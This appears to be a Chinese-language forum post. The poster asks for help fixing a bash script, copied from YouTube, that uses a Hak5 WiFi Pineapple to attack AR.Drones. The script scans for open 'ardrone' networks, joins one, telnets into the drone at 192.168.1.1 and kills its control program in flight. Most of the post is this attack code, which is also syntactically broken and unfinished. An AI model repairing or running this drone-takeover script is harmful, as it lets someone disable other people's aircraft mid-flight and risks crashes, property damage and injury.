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嗨，我试图用hak5菠萝和bash脚本黑一个无人机，但我的脚本不起作用。我不知道如何脚本，所以我从这个youtube视频https://www.youtube.com/watch?v=xKfY0PmKDRE&t=0s复制它，当我运行它时，它说第29行：语法错误：意外文件结束（预期“then”）这是我的脚本到目前为止。有人能帮助我吗？

while true; do
if ! ( iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone ); then
echo "no drones found"
else
echo "drone found! connecting"
DRONESSID=`iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone`
iwconfig wlan1 essid $DRONESSID
sleep 2

echo "testing connection"
if ! ( iwconfig wlan1 | grep $DRONESSID ); then

# echo "geen verbinding"

else
echo "connected"

echo "yes"
ifconfig wlan1 192.168.1.5 netmask 255.255.255.0 up
sleep 2

echo "ping ping"
if ! ( ping -c1 192.168.1.1 | grep from ); then
echo "ooof"
else
echo "ping ping"
empty -f -i /tmp/drone_input.fifo -o /tmp/drone_output.fifo -p /tmp/drone_empty.pid $telnet 192.168.1.1
empty -w -i /tmp/drone_output.fifo -o /tmp/drone_input.fifo busybox "kill -KILL \`pidof program.elf\`\n"
kill `pidof empty`
echo ""
echo " kill sent"
echo ""
fi
fi